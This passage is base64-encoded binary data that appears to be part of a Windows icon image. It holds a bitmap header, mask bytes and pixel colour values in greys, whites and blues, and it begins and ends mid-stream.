AAD+BgYG/hoaGv8hISH+Hx8f/jAwMP4XFzX+c3N1/pubm/65ubn+ycnJ/sHByf/Ly83+xsbG/rS0tP6T + k5P+cHBw/kdHSP4iIiL+GRkZ/iQkJP4lJSX/FBQU/gMDA/4GBgb+Hh4e/jk5Of4/Pz/9LS0ttBcXFysX + FxcBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQECggICGQHBwfYERER/jo6Ov5AQED+ISEh/gYGBv8A + AAD+BQUF/hISEv4eHh7+IiIi/iEhIf4gICD+Hh4e/h0dHf8dHR3+Hh4e/iAgIP4jIyP+JCQk/iQkJP4c + HBz+Dg4O/gMDA/4DAwP/ERER/iwsLP5CQkL+SEhI/TY2NsUcHBxKGRkZBAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBQUMCAgIXQgICMMLCwv7KCgo/kJCQv9AQED+Kysr/hMTE/4G + Bgb+AQEB/gAAAP4CAgL+BAQE/gUFBf8GBgb+BQUF/gMDA/4CAgL+AQEB/gQEBP4MDAz+HBwc/jIyMv5F + RUX/Tk5O/klJSfYyMjKwHh4eRhkZGQYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAYGBgUICAgwCQkJhQkJCc8PDw/6ISEh/jk5Of5FRUX+RkZG/kFBQf47 + Ozv+NDQ0/jAwMP8wMDD+MTEx/jY2Nv49PT3+RUVF/kxMTP5PT0/+TU1N/kZGRvU0NDTCIyMjcxoaGiEa + GhoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAcHBwUJCQkjCwsLWwsLC5IODg67FBQU3xsbG/QiIiL9KCgo/i0tLf8x + MTH+NDQ0/jY2Nvw0NDTwLy8v2SkpKbMiIiKIGxsbThYWFhoaGhoDAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJCQkDCQkJCQoKChALCwsYEBAQJxERES8REREuEhISJBAQEBYQ + EBAPEhISCBUVFQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ + //wAAAA///8AAAD/+AAAAAAAD/8AAAD/AAAAAAAAAH8AAAD4AAAAAAAAAA8AAADgAAAAAAAAAAMAAADA + AAAAAAAAAAEAAADgAAAAAAAAAAAAAADwAAAAAAAAAAAAAAD8AAAAAAAAAAEAAAD/wAAAAAAAAAcAAAD/ + /AAAAAAAAD8AAAD//AAAAAAAB/8AAAD/+AAAAAAAH/8AAAD/8AAAAAAAD/8AAAD/4AAAAAAAB/8AAAD/ + wAAAAAAAA/8AAAD/gAAAAAAAAf8AAAD/AAAAAAAAAP8AAAD/AAAAAAAAAP8AAAD+AAAAAAAAAH8AAAD8 + AAAAAAAAAH8AAAD8AAAAAAAAAD8AAAD4AAAAAAAAAB8AAAD4AAAAAAAAAB8AAADwAAAAAAAAAB8AAADw + AAAAAAAAAA8AAADwAAAAAAAAAA8AAADgAAAAAAAAAA8AAADgAAAAAAAAAAcAAADgAAAAAAAAAAcAAADg + AAAAAAAAAAcAAADAAAAAAAAAAAcAAADAAAAAAAAAAAMAAADAAAAAAAAAAAMAAADAAAAAAAAAAAMAAADA + AAAAAAAAAAMAAADAAAAAAAAAAAMAAADAAAAAAAAAAAMAAADAAAAAAAAAAAMAAADAAAAAAAAAAAMAAADA + AAAAAAAAAAMAAADAAAAAAAAAAAMAAADAAAAAAAAAAAcAAADgAAAAAAAAAAcAAADgAAAAAAAAAAcAAADg + AAAAAAAAAAcAAADgAAAAAAAAAAcAAADwAAAAAAAAAA8AAADwAAAAAAAAAA8AAADwAAAAAAAAAB8AAAD4 + AAAAAAAAAB8AAAD4AAAAAAAAAB8AAAD8AAAAAAAAAD8AAAD8AAAAAAAAAD8AAAD+AAAAAAAAAH8AAAD+ + AAAAAAAAAP8AAAD/AAAAAAAAAP8AAAD/gAAAAAAAAf8AAAD/wAAAAAAAA/8AAAD/wAAAAAAAB/8AAAD/ + 4AAAAAAAB/8AAAD/8AAAAAAAD/8AAAD/+AAAAAAAP/8AAAD//gAAAAAAf/8AAAD//wAAAAAA//8AAAD/ + /4AAAAAB//8AAAD//+AAAAAH//8AAAD///gAAAAf//8AAAD///4AAAB///8AAAD////AAAP///8AAAD/ + ///8AD////8AAAD///////////8AAAAoAAAAQAAAAIAAAAABACAAAAAAAABCAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABQAAAAcAAAAJAAAACwAAAA4AAAAQAAAAEgAAABQA + AAAWAAAAFwAAABcAAAAXAAAAFwAAABYAAAAVAAAAEwAAABEAAAAPAAAADQAAAAoAAAAHAAAABQAAAAQA + AAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAABAAAABQAAAAsAAAARAAAAGAAAACAAAAAqAAAAMwAAAD0AAABGAAAAUAAAAFgAAABgAAAAZwAAAG4A + AAB0AAAAeAAAAHwAAAB/AAAAgQAAAIMAAACEAAAAhAAAAIMAAACCAAAAgAAAAH0AAAB6AAAAdgAAAHEA + AABrAAAAZAAAAFwAAABTAAAASgAAAEAAAAA1AAAAKgAAACAAAAAXAAAADwAAAAgAAAAEAAAAAgAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAEAAAADAAAABYAAAAjAAAAMAAAAD0AAABKAAAAVwAAAGUAAAByAAAAfgAAAIkAAACTAAAAnAAAAKQA + AACrAAAAsgAAALgAAAC8AAAAwAAAAMQAAADHAAAAyQAAAMsAAADMAAAAzAAAAMwAAADMAAAAywAAAMkA + AADHAAAAxQAAAMEAAAC9AAAAuQAAALMAAACtAAAApgAAAJ8AAACWAAAAjQAAAIIAAAB3AAAAagAAAFwA + AABNAAAAPQAAAC0AAAAfAAAAEgAAAAoAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAgAAAAsAAAAaAAAAKQAAADgAAABGAAAAVQAAAGUAAAB1AAAAhAAAAJIAAACfAAAAqgAAALQA + AAC+AAAAxgAAAM0AAADTAAAA2QAAAN4AAADiAAAA5gAAAOkAAADrAAAA7gAAAPAAAADyAAAA8wEBAfQB + AQH0AAAA8wAAAPEAAADwAAAA7QAAAOsAAADoAAAA5QAAAOIAAADeAAAA2gAAANQAAADOAAAAxwAAAL8A + AAC3AAAArQAAAKIAAACXAAAAigAAAHwAAABsAAAAWwAAAEgAAAA1AAAAIgAAABQAAAAMAAAABQAAAAEA + AAAAAAAAAAAAAAAAAAAAAAAAAwAAABIAAAAjAAAAMgAAAEIAAABRAAAAYwAAAHUAAACGAAAAlQAAAKMA + AACvAAAAuwAAAMUAAADOAAAA1gAAAN0AAADjAAAA6AAAAO0AAADxAAAA9QAAAPkCAgL8Dg4O/hkZGf4e + Hh7/Hx8f/x8fH/8fHx//Hx8f/x8fH/8eHh7/HR0d/xoaGv4SEhL9BQUF+wAAAPgAAAD0AAAA8QAAAO0A + AADpAAAA5AAAAN8AAADYAAAA0QAAAMgAAAC/AAAAtAAAAKgAAACbAAAAjQAAAH0AAABsAAAAWgAAAEYA + AAAwAAAAHgAAABUAAAAMAAAABAAAAAAAAAAAAAAAAAAAAAMAAAATAAAAJAAAADMAAABDAAAAVgAAAGkA + AAB7AAAAiwAAAJoAAACnAAAAtAAAAL8AAADIAAAA0QAAANkAAADgAAAA5gAAAO0BAQH3CAgI/RoaGv4i + IiL/ICAg/xQUFP8ICAj/AgIC/wICAv8DAwP/BAQE/wQEBP8DAwP/AQEB/wEBAf8DAwP/DAwM/xkZGf8d + HR3/HBwc/g4ODvwAAAD3AAAA7wAAAOkAAADkAAAA3gAAANcAAADPAAAAxgAAALsAAACwAAAAowAAAJUA + AACFAAAAdQAAAGIAAABPAAAAOQAAACYAAAAdAAAAFAAAAAsAAAACAAAAAAAAAAAAAAAAAAAAAwAAAA0A + AAAcAAAALAAAAD8AAABTAAAAZQAAAHcAAACGAAAAlQAAAKIAAACtAAAAuAAAAMEAAADKAQEB2wICAvMT + ExP+IyMj/x0dHf8JCQn/AwMD/w4ODv8jIyP/NjY2/0JCQv9ISEj/SEhI/0dHR/9FRUX/RERE/0NDQ/9B + QUH/PDw8/y4uLv8XFxf/BAQE/wEBAf8QEBD/HR0d/xkZGf0DAwPzAAAA4AAAANQAAADMAAAAwwAAALkA + AACuAAAAogAAAJQAAACFAAAAdQAAAGMAAABQAAAAPQAAAC8AAAAlAAAAHAAAABMAAAAKAAAAAgAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAQAAAAYAAAAQAAAAHwAAADMAAABGAAAAVwAAAGcAAAB2AAAAgwAAAJAB + AQGoAwMD4RMTE/0lJSX/FBQU/wMDA/8QEBD/Li4u/0ZGRv9OTk7/S0tL/1dXV/9paWn/f39//4uLi/+O + jo7/i4uL/4KCgv9sbGz/S0tL/y0tLf8aGhr/Kysr/z09Pf87Ozv/ICAg/wMDA/8FBQX/Gxsb/xkZGfwD + AwPfAAAAsQAAAKAAAACVAAAAiAAAAHoAAABrAAAAWwAAAEwAAAA/AAAANAAAACsAAAAjAAAAGwAAABIA + AAAKAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAACAAAABMA + AAAfAAAALQAAAD4EBASXCwsL9CUlJf8WFhb/AwMD/xgYGP85OTn/TExM/11dXf+NjY3/wMDA/+jo6P/6 + +vr//f39//7+/v///////////////////////v7+//v7+//19fX/2dnZ/6Kiov9bW1v/Gxsb/yEhIf89 + PT3/Ly8v/wYGBv8EBAT/HR0d/xMTE+4AAACSAAAAWQAAAE0AAABEAAAAPAAAADQAAAAtAAAAJgAAAB4A + AAAXAAAADwAAAAgAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAICAhYHBwevGRkZ/iEhIf8EBAT/ExMT/zQ0NP9ISEj/e3t7/8TExP/2 + 9vb//v7+////////////////////////////9vb///7+/////////////////////////v7+//v7+//3 + 9/f/8/Pz/+Tk5P+cnJz/OTk5/xMTE/87Ozv/Kysr/wICAv8NDQ3/HR0d/AQEBKIAAAAvAAAAIgAAABwA + AAAWAAAAEAAAAAoAAAAFAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgICCoKCgrWIyMj/xQUFP8GBgb/Jycn/zs7O/93 + d3f/1NTU//z8/P/+/v7/////////////////////////////////ycno/9/f8//v7/n//v7+/+vr9f// + //////////7+/v/7+/v/+Pj4//X19f/z8/P/8PDw/+jo6P+tra3/NjY2/xgYGP8+Pj7/ExMT/wICAv8d + HR3/CwsLvwEBARkAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoKCjcODg7nJycn/woKCv8P + Dw//LS0t/0xMTP+/v7//+/v7///////////////////////////////////////8/P7//f3+//////+0 + tN3/wcHi/+rq9P+jo9H//v7+//7+/v/9/f3/+/v7//j4+P/29vb/9PT0//Hx8f/u7u7/7Ozs/+fn5/+P + j4//FRUV/zIyMv8pKSn/AQEB/xcXF/8PDw/TBAQEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0NDTgS + EhLtKCgo/wYGBv8XFxf/KSkp/3Jycv/s7Oz//v7+//////////////////////////////////////// + ////9PT6/9bW7P/d3e//oaHS/2dntP/Y2Ov/Hx+P/9fX6f/n5/H/7+/0//j4+P/39/f/9/f3//b29v/0 + 9PT/8fHx//Dw8P/w8PD/8PDw/8/Pz/85OTn/Hh4e/zc3N/8CAgL/ExMT/xQUFNgEBAQfAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAA8PDywXFxfpKCgo/wUFBf8bGxv/JSUl/5aWlv/6+vr///////7+///z8/v///////////// + /////////////////////v7+/9/f8f/u7vf/YmK1/4uLx/8QEIf/Wlqs/yEhjv90c7b/+fn6/6+v1f/6 + +vr/+fn5//j4+P/39/f/+Pj4//j4+P/39/f/9PT0//Ly8v/x8fH/5ubm/15eXv8TExP/Ozs7/wMDA/8T + ExP/Dw8P0QMDAxQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAA8PDxUdHR3YKCgo/wcHB/8ZGRn/IiIi/6qqqv/9/f3///////////// + ////8fH7//7+//////////////////////////////////+UlM3/enrA/yoqmP8NDYv/CgqL/wcHfP8Q + EIL/Cwt+/7Cx1P/9/f3//f39//39/f/7+/v/+/v7//v7+//6+vr/+fn5//j4+P/09PT/8fHx/+/v7//q + 6ur/cnNz/xEQEP87Ozv/AgIC/xcXF/8LCwu4AwMDBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8PDwQiIiKwJycn/w0NDf8TExP/ICAg/6ioqP/9 + /f3//////////////////////+np9v/j4/T/////////////////////////////////7e32/52c0P9J + SKr/CwqG/wkIhP8HB4P/Bwd8/wgHf/8QEID/19fq/////////////v7+//39/f/8/Pz/+/v7//f39//2 + 9vX/9PX0/+zs7v+7u9D/iYmx/1pakf8YGDj/ExMT/zY2Nv8AAAD/HBwc/wQEBIQCAgIBAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcHBxrKioq/xkZGf8K + Cgr/ISEh/4+Pj//9/f3/////////////////4+P1////////////x8bn//////////////////////// + ////////////////////4+Px/yUlnf8LC4P/DAx8/wwMg/8MDIX/DAx+/21tsf/////////////////+ + /v7//f39/9fY5v+QkLr/W1uY/y0tfP8HB2D/AABa/wAAWf8AAFT/AABM/wUFIP8fHx//KCgo/wICAv8d + HR36AwMDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAU + FBQhMTEx7ycnJ/8CAgL/JCQk/2JiYv/7+/v//////////////////////+zs9//29vv//f3+/9LS6//5 + +fz/+vr9//z8/f/////////////////////////////////39/v/jo7U/xMSiv8QEIr/Dw6F/w0Ngf8X + FoP/7/D2/+rq8/+xstX/cHGx/ykphv8AAGj/AABi/wAAWf8AAFT/AABP/wAAVP8AAFL/AABP/wAASv9w + cJL/Jicr/zMzM/8SEhL/DAwM/xISEtYDAwMLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAASEhICLCwspzExMf8JCQn/HBwc/zExMf/t7e3///////////////////////////// + ////29vv/9nZ7f//////39/x/4yLyv/Ly+f/4+Px/93d7/////////////////////////////7+/v+0 + tOL/Jiaw/xAQpf8ODYX/Cwt+/wwMfv8GBnr/AwN2/wAAcv8AAG3/AABh/wAAW/8AAFj/AABY/wAAU/8A + AFX/AABa/wAAUv9ERXj/2trb/21tjf8PDxD/Pj4+/wICAv8bGxv/BAQEegAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGhoaOD09PfwgICD/BwcH/yAgIP+6urr//v7+//////// + //////////////////////////j4/P9ubrv/z8/o/1NUs/9dXbv/JiaU/5yc0v9jY7T/9vb7//////// + /////////////////////v3+/+fn+P8oJ8H/Dg6p/wsLlv8ICJH/BQWI/wMDhP8AAIL/AACN/wAAgv8A + AGj/AABZ/wAAXf8AAIP/AACI/wAAhv8AAHX/AwNf/1xdkP/KytH/eHh6/xoaGv8oKCj/BAQE/xgYGO0C + AgIXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAExMTAjExMbE3Nzf/BQUF/yAgIP9a + Wlr//Pz8/////////////////////////////v7+/+Dg8P/9/f7/ra3Y/2houP9QUL3/FRSN/xAPhP9v + b7r/FhaT/9XV6/////////////////////////////7+/v/9/f7/29vz/2Fhx/8tLa7/ISGk/x0dpP8Z + GZ3/AgKO/wAAiv8AAIH/AABv/wAAcv8AAHr/Cwt//wAAeP8AAG//AABX/0xNhP/Q0Nb/3d3d/9fX1/8r + Kyv/Ozs7/wUFBf8ZGRn/BAQEhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYWFipF + RUX7IiIi/wcHB/8gICD/1dXV///////////////////////////////////////9/f7/u7vf/9jY7P9s + a7n/l5fc/xQUi/9NTbD/FRWL/xcXjP9aWa3/5+fz///////////////////////////////////////7 + +/3/+fn8//7//v+7u9n/+/v9/97e6f+4uNP/ra3J/42NtP9ubqX/VVWU/9XW4P8PD5P/AABf/wAAV/8+ + Pnz/4+Pj/9/f3v/f39//l5eX/xUVFf8sLCz/BAQE/xgYGOgCAgIOAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAqKiqNQkJC/wgICP8eHh7/XFxc//39/f////////////////////////////////// + //////////Pz+f9vb7r/2dnt/3h3wP9GRcL/MDCP/yMjmv8YGI//GRmS/yQklP+cnMv//v7+//////// + ////////////////////////////////////0NDj//r6/P/+/v7/4OHr//7+/v/t7fD/nZ20/1tckP8h + IYH/AAB//wAAXP8AAFb/DQ1Y/4aGp/+ZmK//s7PA/5ubrP8iIiT/PT09/wICAv8bGxv/AgICXgAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPDw8HQEBA4jExMf8CAgL/Hx8f/8LCwv////////////////// + //////////39/v+wr9n/39/u////////////2Njs/1ZWsf/GxuX/t7fn/zc2wv8ZGZ//GRmJ/xgYj/8X + F43/FhaF/1dWn/+8vNn/4eHu/+Tk8f/T0+j/ubna/56ezf+Fhbz/cHCr/1xcnP9tbaj/dHOr/2pqo/9c + XJn/CwtP/wAAP/8AAEn/AABe/wAAYv8AAFP/AABP/wAARv8AAEX/AABB/wEBOf8JCTH/BwcY/yQkJP8c + HBz/Dg4O/w4ODrgCAgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGxsbPElJSf8bGxv/EBAQ/zk5Of/Z + 2er/dHS//+zs9v/09Pr/6ur1//z8/f/z8/n/MzOa/zs7kf/7+/3///////////+4uN7/V1az/2lpvP9y + ccX/Hh3J/xgYzP8XF6T/FxaK/xUVf/8UFH3/FBSE/xMTiP8TE4r/ExKL/xERgP8QEH//Dg57/w0Ncf8M + DHH/Cgpz/wcHcP8EBGz/AwJm/wAAUP8AAEP/AAA8/wAAS/8AAE3/AABG/wAAQv8AAD7/AAA7/wAAO/8A + ADH/AAAe/wEBDv8LCwz/OTk5/wEBAf8aGhr3AgICFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACUlJYVJ + SUn/CAgI/x4eHv96enr/t7fe/xIRkP9fXq3/z8/p//Py+P/8/P3/39/u/y0tkf8HB23/nJzM//////// + ///////////////o6PX/amm8/0VErP+ko97/i4vo/1JR4P8aGY//FRWA/xQUff8UE4D/FBOQ/xQTtv8T + E3z/EhJ8/xERfP8QD37/DQ15/wwMeP8KCnH/BgZh/wQEYf8CAlH/AABD/wAAQf8AAEn/AAA6/wAAO/8A + ADf/AAA2/wAAMP8AADD/AAAk/wAAFv8AAAr/BgYK/z09Pf8DAwP/Gxsb/wMDA1UAAAAAAAAAAAAAAAAA + AAAAAAAAAA0NDQIvLy+/Pz8//wEBAf8eHh7/wcHB/8bG5P8NDYT/GhmE/8TE4f/+/v7//v7+/9zc7f8x + MY7/MDCI/5eXzf/s7Pb/////////////////2Nju/+rq9f+Vlc//KSmf/8rK6P/v7vf/8vL8/8HB8f+j + o+L/f3/Q/1NSzf8dHaX/FBOi/xQTlf8TE43/EhGP/w8PgP8NDXz/DAxv/wkJX/8FBVn/AwNW/wAAUf8A + AEr/AABH/wAANP8AAC7/AAAv/wAAJ/8AACL/AAAs/wAAJP8AABX/AAAR/wYGDv8uLi7/ExMT/xYWFv8G + BgaUAAAAAAAAAAAAAAAAAAAAAAAAAAAPDw8JPDw87jAwMP8EBAT/JiYm//Dw8P/v7/v/FBOH/wgIiv9J + SZv/4ODv/+vr8/+7u97/EhF6/0tLk////////f3+/////////////////+Lj8v/9/f7/dnbA/2Rkuf+m + ptb/1tbs//Pz+v/+/v////////n5/P//////+Pj+/8jI9f9zc+D/FBOy/xMToP8REY//Dw98/w0NdP8L + C2n/Bwdd/wQEWv8CAlL/AABN/wAARv8AACr/AAAe/wAAIf8AABj/AAAS/wAAMv8AACf/AAAQ/wAAEv8F + BRX/Gxsb/yoqKv8JCQn/ERERxQEBAQEAAAAAAAAAAAAAAAAAAAAAEhISJEBAQP8jIyP/DQ0N/0VFRf/8 + /Pz//v/+/6ys2v8FBJ7/AwJ1/2Bgqv/6+vv/zc7n/wsLcv8zM4b//v7+//////////////////////// + /////////7u64P/Y1+3/wcHi//Hx+P/5+fz/7e33///////////////////////w8Pj/ODjC/xUUsf8T + E5P/EhKA/xAQef8ODnP/DAxu/wkJYP8FBV3/AwNb/wEAa/8AAGD/AAA+/wAAO/8AACf/AAAJ/wAAGv8A + ACD/AAAq/wAAGf8AABP/AAAT/xQUFv84ODj/AgIC/xkZGeoBAQELAAAAAAAAAAAAAAAAAAAAABYWFklC + QkL/FxcX/xcXF/9dXV3//v7+///////4+f3/EhGY/wEAfP8MC3L/sbHV/+3t9v8NDXf/DAtv/7i41/// + ////////////////////////////////////////////////////6Oj1//n5/f/d3fD////////////9 + /f7/XV25/xgXtv8VFZH/ExOG/xMTh/8REYD/Dw9x/w0Mb/8KCmP/BgZb/wMDXv8BAWn/AAB0/wAARP8A + ACj/AAAM/wAAB/8AABX/AAAS/wAAUf8AAFT/AAA//wAAJv8QEBn/Pz8//wAAAP8aGhr+AwMDGQAAAAAA + AAAAAAAAAAAAAAAYGBhgRERE/w4ODv8bGxv/d3d3//7+/v/+/v7//f39/1NTrv8BAHr/AABt/x0ddv+v + r8//FRR//woJbf96erT/////////////////////////////////////////////////+Pj8/+jo9f/2 + 9vv/g4LH/8DA4///////sLDa/xoZrf8ZGJ7/FxeJ/xQUi/8TE5T/EhKA/w8PeP8NDXD/Cwtq/wcHZf8E + BFv/AQFa/wAAWP8AADz/AAAn/wAAFP8AACT/AAAa/wAAGv8AACL/AABT/wAAb/8AAFT/Dw8p/0JCQv8B + AQH/Gxsb/wMDAy4AAAAAAAAAAAAAAAAAAAAAFhYWbkVFRf8KCgr/HBwc/4uLi//8/Pz/+/v7//r6+v+G + hsD/AQB1/wEAc/8DA3H/BARx/wYGdv8HB2//GBd//5ubyv/39/v///////////////////////////// + //////////z8/f//////5eX0/9HR6v9RUK7/9vb7/0VErv8aGaj/GRiQ/xcXjP8VFY7/ExOM/xISif8Q + EID/DQ18/wsLc/8ICF//BARq/wEBWP8AAH7/AACH/wAARP8AACL/AABX/wAARP8AAE3/AABX/wAAOv8A + AG//AAB7/w8POf9ERET/AgIC/xsbG/8CAgJCAAAAAAAAAAAAAAAAAAAAABYWFnhERET/CAgI/xsbG/+S + kpL/+fn5//f39//3+Pj/lZTL/wAAa/8BAHP/AgF3/wICdP8DA23/BANw/ygohv/Ky+T/urrb//b2+v// + ///////////////////////////////+/v//6en1//7+/v/7+/3/tLTc/2VluP8aGr3/GRmm/xkYj/8X + F5L/FRWJ/xMTg/8SEpH/EBCm/w4NjP8MC4L/CAhi/wUEY/8CAUz/AABh/wAAov8AADb/AAAn/wAAWP8A + AG7/AABZ/wAAWP8AAFX/AAA6/wAAJ/8QEB7/RUVF/wMDA/8bGxv/AQEBTAAAAAAAAAAAAAAAAAAAAAAU + FBR4Q0ND/wgICP8bGxv/kpKS//b29v/19fX/+Pj4/9TU6f8CAXz/AABm/wAAav8AAGr/AQB9/wEAcv8D + A3H/iYq///39/v//////////////////////////////////////+vr9/8DA4//q6vX//f39/6Ok1f8l + JaP/Ghmx/xkZlP8ZGJH/FxeN/xUVg/8TE5T/EhKa/xAQjf8ODYb/Cwtz/wkIZ/8EBFv/AQFV/wAAUf8A + AJX/AAAk/wAAS/8AAFT/AABn/wAAhf8AAHL/AABg/wAAOP8AAEf/EhId/0ZGRv8DAwP/HBwc/wEBAUwA + AAAAAAAAAAAAAAAAAAAAERERbj8/P/8LCwv/Gxsb/4qKiv/19fX/9vb2//n5+f/9/f3/MDCe/wAAZ/8A + AGr/AABv/wAAZv8AAHb/AAB2/y0tjv+HhsH////+//////////////////////////////////////// + ////1NTr/+3t9/9EQ6r/Ghmz/xkZnf8ZGI3/GBiT/xYWhP8VFYH/ExOP/xISnf8QD67/Dg2i/wsLiv8I + CGr/BARa/wEBUv8AAEr/AABG/wAAJv8AAEL/AABg/wAAOf8AAEr/AABH/wAAJ/8AAB//AAAW/xYWLf9G + Rkb/AgIC/xsbG/8CAgJCAAAAAAAAAAAAAAAAAAAAABAQEGA4ODj/ERER/xkZGf92dnb/9vb2//f39//4 + +Pj//Pz8/3R0zv8AAFv/AABo/wAAYf8AAG7/AABj/wEAef8jI4b/qanT/8fH4v////////////////// + //////////////////////////T0+f/U1Ov/JCOm/xkZrv8YGJL/GBiM/xcXiv8WFX//FBOA/xMSgP8R + EX3/Dw95/w0Nn/8KCpz/BweP/wQDcP8AAGD/AABc/wAAXv8AACD/AABL/wAARP8AACj/AAAf/wAAF/8A + AAz/AAAU/wAAEP8eHjD/RERE/wEBAf8cHBz/AwMDLgAAAAAAAAAAAAAAAAAAAAAODg5JLCws/xwcHP8S + EhL/XV1d//b29v/39/f/9/f3//r6+v+Zmdf/AABY/wAAV/8AAG//AACE/wAAav8AAGX/AAB8/42NwP+4 + 